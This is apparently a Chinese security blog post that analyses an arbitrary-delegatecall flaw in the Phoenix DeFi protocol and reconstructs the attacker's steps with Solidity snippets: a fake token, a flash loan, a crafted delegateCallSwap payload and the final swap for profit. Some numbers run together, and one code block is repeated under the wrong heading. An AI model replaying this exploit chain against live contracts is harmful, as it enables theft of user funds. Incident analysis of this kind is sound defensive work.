Phoenix任意代码执行漏洞

说明

Phoenix是一个任意代码执行的漏洞,类似于在Web2中的RCE类型的漏洞。只不过在Web2中通过RCE,可以直接获取到系统权限。但是在Web3中,一个任意代码执行的漏洞并不一定可以造成危害。任意代码执行漏洞主要关注两个对象,分别是:

  1. 是合约能够执行代码;
  2. 合约执行代码之后可以造成什么样的结果;

发现了一个任意代码执行漏洞之后,还需要找到可以执行的合约以及合约需要执行的函数,这样才可以构成一个攻击链。单纯这样说,可能是过于抽象,下面就以一个具体的例子来说明。

基本信息

漏洞函数

delegateCallSwap

leveragedPool

1
2
3
4
5
6
7
8
9
function delegateCallSwap(bytes memory data) public returns (bytes memory) {
(bool success, bytes memory returnData) = phxSwapLib.delegatecall(data);
assembly {
if eq(success, 0) {
revert(add(returnData, 0x20), returndatasize)
}
}
return returnData;
}

其中 phxSwapLib 的 值是 0x95620f30263ac0b0B4FFd9B7465838084e89cB84,对应的是一个UniSwapRouter

因为代码中是phxSwapLib.delegatecall(data),意味着我们可以通过delegateCallSwap()方法调用UniSwapRouter中的任意方法。

攻击分析

下面就是分析攻击者如何利用UniSwapRouter中的任意方法实施攻击的。

addLiquidity

攻击者先创建了一个假的代币,然后将这个假的代币和WETH创建一个Pair放入到Router中。

两者是按照1:1的比例创建的Pair

1
2
3
4
5
OPTS = new Options();
OPTS.mint(1_500_000 * 1e18);
OPTS.approve(address(Router), type(uint256).max);
WETH.approve(address(Router), type(uint256).max);
Router.addLiquidity(address(OPTS), address(WETH), 7343113879668122, 7343113879668122, 0, 0, address(this), block.timestamp);

实际的执行效果如下:

对应的TX:0x20559f57bbcf98ff115b290e389c7ace5c864109f75545ac6b6b1233b2563584

至于为什么要提前创建一个Pair,后面在实施攻击时就可以看到真正的作用了。

对应的Pair的地址是: 0x0B72bBb6E4eB5baF8E130b3E7A809DD50F17f437

flashloan

攻击者通过闪电贷的方式获得数量为7990000000的USDC。

buyLeverage

攻击者将所有的USDC全部授权给代理合约,并且调用了buyLeverage()方法。

分析buyLeverage()的作用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
function buyLeverage(uint256 amount,uint256 minAmount,uint256 deadLine,bytes calldata data) external payable{
_buy(leverageCoin,amount,minAmount,deadLine,true);
}

function _buy(leverageInfo memory coinInfo,uint256 amount,uint256 minAmount,uint256 deadLine,bool bFirstToken) ensure(deadLine) notHalted nonReentrant getUnderlyingPrice internal{
address inputToken;
if(bFirstToken){
inputToken = coinInfo.token;
}else{
inputToken = (coinInfo.id == 0) ? hedgeCoin.token : leverageCoin.token;
}
// inputToken: USDC
amount = getPayableAmount(inputToken,amount);
require(amount > 0, 'buy amount is zero');
uint256 userPay = amount;
amount = redeemFees(buyFee,inputToken,amount);
uint256 price = _tokenNetworthBuy(coinInfo,currentPrice);
uint256 leverageAmount = bFirstToken ? amount.mul(calDecimal)/price :
amount.mulPrice(currentPrice,coinInfo.id)/price;
require(leverageAmount>=minAmount,"token amount is less than minAmount");
{
uint256 userLoan = (leverageAmount.mul(coinInfo.rebalanceWorth)/calDecimal).mul(coinInfo.leverageRate-feeDecimal)/feeDecimal;
userLoan = coinInfo.stakePool.borrow(userLoan);
amount = bFirstToken ? userLoan.add(amount) : userLoan;
//98%
uint256 amountOut = amount.mul(98e16).divPrice(currentPrice,coinInfo.id);
address token1 = (coinInfo.id == 0) ? hedgeCoin.token : leverageCoin.token;
// coinInfo.token: USDC
// token1: WETH
// amount: 18250326219
// 将 USDC 全部换成 WETH,
amount = _swap(coinInfo.token,token1,amount);
require(amount>=amountOut, "swap slip page is more than 2%");
}
coinInfo.leverageToken.mint(msg.sender,leverageAmount);
price = price.mul(currentPrice[coinInfo.id])/calDecimal;
if(coinInfo.id == 0){
emit BuyLeverage(msg.sender,inputToken,userPay,leverageAmount,price);
}else{
emit BuyHedge(msg.sender,inputToken,userPay,leverageAmount,price);
}
}

function _swap(address token0,address token1,uint256 amountSell) internal returns (uint256){
return abi.decode(delegateCallSwap(abi.encodeWithSignature("swap(address,address,address,uint256)",swapRouter,token0,token1,amountSell)), (uint256));
}

最终通过buyLeverage()方法,合约 phxProxy 最终会额外获得11427787484044293732WETH。

最终在合约0x65baf1dc6fa0c7e459a36e2e310836b396d1b1de中的ETH是11427787484044293732

delegateCallSwap

1
2
3
4
uint256 swapAmount = WETH.balanceOf(address(phxProxy));
bytes memory swapData =
abi.encodeWithSignature("swap(address,address,address,uint256)", address(Router), address(WETH), address(OPTS), swapAmount);
phxProxy.delegateCallSwap(swapData); // WETH swap to MYTOKEN

对应的代码逻辑是:

1
2
3
4
5
address[] memory path = new address[](3);
path[0] = address(OPTS);
path[1] = address(WETH);
path[2] = address(USDC);
Router.swapExactTokensForTokens(1_000_000 * 1e18, 0, path, address(this), block.timestamp); // OPTIONS swap to USDC

此时因为前面已经调用过buyLeverage(),导致此时合约 phxProxy(0x65baf1dc6fa0c7e459a36e2e310836b396d1b1de)中存在大量的ETH。

然后利用delegateCallSwap的任意代码执行漏洞,将phxProxy中的ETH全部换成OPTS,这样就会导致OPTS变得更贵了。

在没有进行SWAP操作之前

此时OPTS-WETH的比例是1:1,数量都是7343113879668122

在进行SWAP操作之后:

此时``OPTS-WETH之间的代币比例发生了,已经分别变成了493593791689011427787484100531361`。

即攻击者创建的OPTS在经过delegateCallSwap()之后已经变得更贵了。

swapExactTokensForTokens

执行完delegateCallSwap()之后,OPTS在经过delegateCallSwap()之后已经变得更贵了。攻击者就讲手中所有的OPTS全部兑换为USDC。

1
2
3
4
5
address[] memory path = new address[](3);
path[0] = address(OPTS);
path[1] = address(WETH);
path[2] = address(USDC);
Router.swapExactTokensForTokens(1_000_000 * 1e18, 0, path, address(this), block.timestamp); // MYTOKEN swap to USDC

最终攻击者通过swapExactTokensForTokens,获得数量为18142669795的USDC。

获利

攻击者通过供给套利最终获得了18142669795,除去闪电贷的金额7990000000,最终攻击者获利:

1
18142669795 - 7990000000 = 10152669795

参考

https://twitter.com/HypernativeLabs/status/1633090456157401088

文章作者: Oooverflow
文章链接: https://www.oooverflow.com/2023/03/11/Phoenix-Arbitrary-External-Call/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Oooverflow